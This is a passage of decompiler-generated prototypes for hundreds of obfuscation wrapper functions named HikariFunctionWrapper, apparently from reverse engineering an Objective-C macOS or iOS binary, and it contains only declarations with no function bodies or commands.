id __fastcall HikariFunctionWrapper_17277(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17278(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17279(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17280(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17281(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17282(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17283(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17284(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17285(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17286(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17287(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17288(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17289(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17290(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17291(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17292(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17293(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17294(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17295(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17296(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17297(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17298(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17299(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17300(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17301(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17302(NSString *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17303(NSString *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17304(dispatch_queue_s *a1, void *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17305(dispatch_queue_s *a1, void *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17306(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17307(void *a1, const char *a2);
__int64 __fastcall HikariFunctionWrapper_17308(__int64 a1);
__int64 __fastcall HikariFunctionWrapper_17309(__int64 a1);
__int64 __fastcall HikariFunctionWrapper_17310(__int64 a1);
__int64 __fastcall HikariFunctionWrapper_17311(__int64 a1);
__int64 __fastcall HikariFunctionWrapper_17312(__int64 a1);
__int64 __fastcall HikariFunctionWrapper_17313(__int64 a1);
id __fastcall HikariFunctionWrapper_17314(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17315(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17316(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17317(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17318(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17319(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17320(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17321(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17322(NSString *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17323(NSString *a1);
id __fastcall HikariFunctionWrapper_17324(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17325(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17326(NSString *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17327(NSString *a1);
id __fastcall HikariFunctionWrapper_17328(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17329(void *a1, const char *a2);
__int64 __fastcall HikariFunctionWrapper_17330(__int64 a1);
__int64 __fastcall HikariFunctionWrapper_17331(__int64 a1);
id __fastcall HikariFunctionWrapper_17332(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17333(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17334(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17335(void *a1, const char *a2);
__int64 __fastcall HikariFunctionWrapper_17336(__int64 a1);
__int64 __fastcall HikariFunctionWrapper_17337(__int64 a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17338(NSString *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17339(NSString *a1);
id __fastcall HikariFunctionWrapper_17340(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17341(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17342(void *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17343(void *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17344(void *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17345(void *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17346(dispatch_queue_s *a1, void *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17347(dispatch_queue_s *a1, void *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17348(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17349(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17350(dispatch_queue_s *a1, void *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17351(dispatch_queue_s *a1, void *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17352(dispatch_queue_s *a1, void *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17353(dispatch_queue_s *a1, void *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17354(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17355(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17356(dispatch_queue_s *a1, void *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17357(dispatch_queue_s *a1, void *a2);
dispatch_queue_global_t __fastcall HikariFunctionWrapper_17358(intptr_t a1, uintptr_t a2);
dispatch_queue_global_t __fastcall HikariFunctionWrapper_17359(intptr_t a1, uintptr_t a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17360(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17361(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17362(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17363(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17364(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17365(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17366(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17367(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17368(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17369(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17370(dispatch_queue_s *a1, void *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17371(dispatch_queue_s *a1, void *a2);
id __fastcall HikariFunctionWrapper_17372(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17373(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17374(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17375(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17376(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17377(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17378(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17379(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17380(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17381(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17382(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17383(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17384(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17385(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17386(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17387(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17388(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17389(void *a1, const char *a2);
__int64 HikariFunctionWrapper_17390();
__int64 HikariFunctionWrapper_17391();
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17392(void *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17393(void *a1);
void __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17394();
void __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17395();
id __fastcall HikariFunctionWrapper_17396(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17397(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17398(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17399(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17400(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17401(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17402(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17403(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17404(NSString *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17405(NSString *a1);
id __fastcall HikariFunctionWrapper_17406(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17407(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17408(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17409(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17410(objc_class *a1);
id __fastcall HikariFunctionWrapper_17411(objc_class *a1);
id __fastcall HikariFunctionWrapper_17412(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17413(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17414(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17415(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17416(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17417(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17418(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17419(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17420(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17421(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17422(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17423(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17424(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17425(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17426(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17427(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17428(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17429(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17430(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17431(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17432(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17433(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17434(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17435(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17436(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17437(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17438(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17439(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17440(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17441(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17442(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17443(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17444(objc_class *a1);
id __fastcall HikariFunctionWrapper_17445(objc_class *a1);
id __fastcall HikariFunctionWrapper_17446(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17447(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17448(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17449(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17450(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17451(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17452(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17453(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17454(void *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17455(void *a1);
id __fastcall HikariFunctionWrapper_17456(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17457(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17458(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17459(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17460(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17461(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17462(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17463(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17464(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17465(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17466(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17467(void *a1, const char *a2);
__int64 __fastcall HikariFunctionWrapper_17468(__int64 a1);
__int64 __fastcall HikariFunctionWrapper_17469(__int64 a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17470(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17471(void *a1, const char *a2);
void __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17472();
void __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17473();
id __fastcall HikariFunctionWrapper_17474(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17475(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17476(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17477(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17478(void *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17479(void *a1);
id __fastcall HikariFunctionWrapper_17480(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17481(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17482(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17483(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17484(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17485(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17486(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17487(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17488(void *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17489(void *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17490(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17491(void *a1, const char *a2);
bool __fastcall HikariFunctionWrapper_17492(__int64 a1, __int64 a2, __int64 a3, __int64 a4);
bool __fastcall HikariFunctionWrapper_17493(__int64 a1, __int64 a2, __int64 a3, __int64 a4);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17494(void *a1, __int64 a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17495(void *a1, __int64 a2);
__int64 __fastcall HikariFunctionWrapper_17496(__int64 a1);
__int64 __fastcall HikariFunctionWrapper_17497(__int64 a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17498(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17499(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17500(NSString *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17501(NSString *a1);
id __fastcall HikariFunctionWrapper_17502(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17503(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17504(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17505(void *a1, const char *a2);
__int64 __fastcall HikariFunctionWrapper_17506(__int64 a1);
__int64 __fastcall HikariFunctionWrapper_17507(__int64 a1);
__int64 __fastcall HikariFunctionWrapper_17508(__int64 a1);
__int64 __fastcall HikariFunctionWrapper_17509(__int64 a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17510(NSString *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17511(NSString *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17512(__int64 a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17513(__int64 a1);
char __fastcall HikariFunctionWrapper_17514(__int64 a1, const char *a2, int a3);
char __fastcall HikariFunctionWrapper_17515(__int64 a1, const char *a2, int a3);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17516(NSString *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17517(NSString *a1);
id __fastcall HikariFunctionWrapper_17518(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17519(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17520(__int64 a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17521(__int64 a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17522(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17523(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17524(NSString *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17525(NSString *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17526(__int64 a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17527(__int64 a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17528(void *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17529(void *a1);
id __fastcall HikariFunctionWrapper_17530(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17531(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17532(NSString *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17533(NSString *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17534(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17535(void *a1, const char *a2);
__int64 __fastcall HikariFunctionWrapper_17536(__int64 a1);
__int64 __fastcall HikariFunctionWrapper_17537(__int64 a1);
__int64 __fastcall HikariFunctionWrapper_17538(__int64 a1);
__int64 __fastcall HikariFunctionWrapper_17539(__int64 a1);
__int64 __fastcall HikariFunctionWrapper_17540(__int64);
__int64 __fastcall HikariFunctionWrapper_17541(__int64 a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17542(void *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17543(void *a1);
char __fastcall HikariFunctionWrapper_17544(__int64 a1, const char *a2, int a3);
char __fastcall HikariFunctionWrapper_17545(__int64 a1, const char *a2, int a3);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17546(__int64 a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17547(__int64 a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17548(__int64 a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17549(__int64 a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17550(__int64 a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17551(__int64 a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17552(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17553(void *a1, const char *a2);
__int64 __fastcall HikariFunctionWrapper_17554(__int64);
__int64 __fastcall HikariFunctionWrapper_17555(__int64 a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17556(void *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17557(void *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17558(NSString *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17559(NSString *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17560(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17561(void *a1, const char *a2);
__int64 __fastcall HikariFunctionWrapper_17562(__int64 a1);
__int64 __fastcall HikariFunctionWrapper_17563(__int64 a1);
__int64 __fastcall HikariFunctionWrapper_17564(__int64 a1);
__int64 __fastcall HikariFunctionWrapper_17565(__int64 a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17566(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17567(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17568(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17569(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17570(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17571(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17572(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17573(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17574(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17575(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17576(objc_class *a1);
id __fastcall HikariFunctionWrapper_17577(objc_class *a1);
id __fastcall HikariFunctionWrapper_17578(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17579(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17580(objc_class *a1);
id __fastcall HikariFunctionWrapper_17581(objc_class *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17582(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17583(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17584(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17585(void *a1, const char *a2);
__int64 __fastcall HikariFunctionWrapper_17586(__int64 a1);
__int64 __fastcall HikariFunctionWrapper_17587(__int64 a1);
__int64 __fastcall HikariFunctionWrapper_17588(__int64);
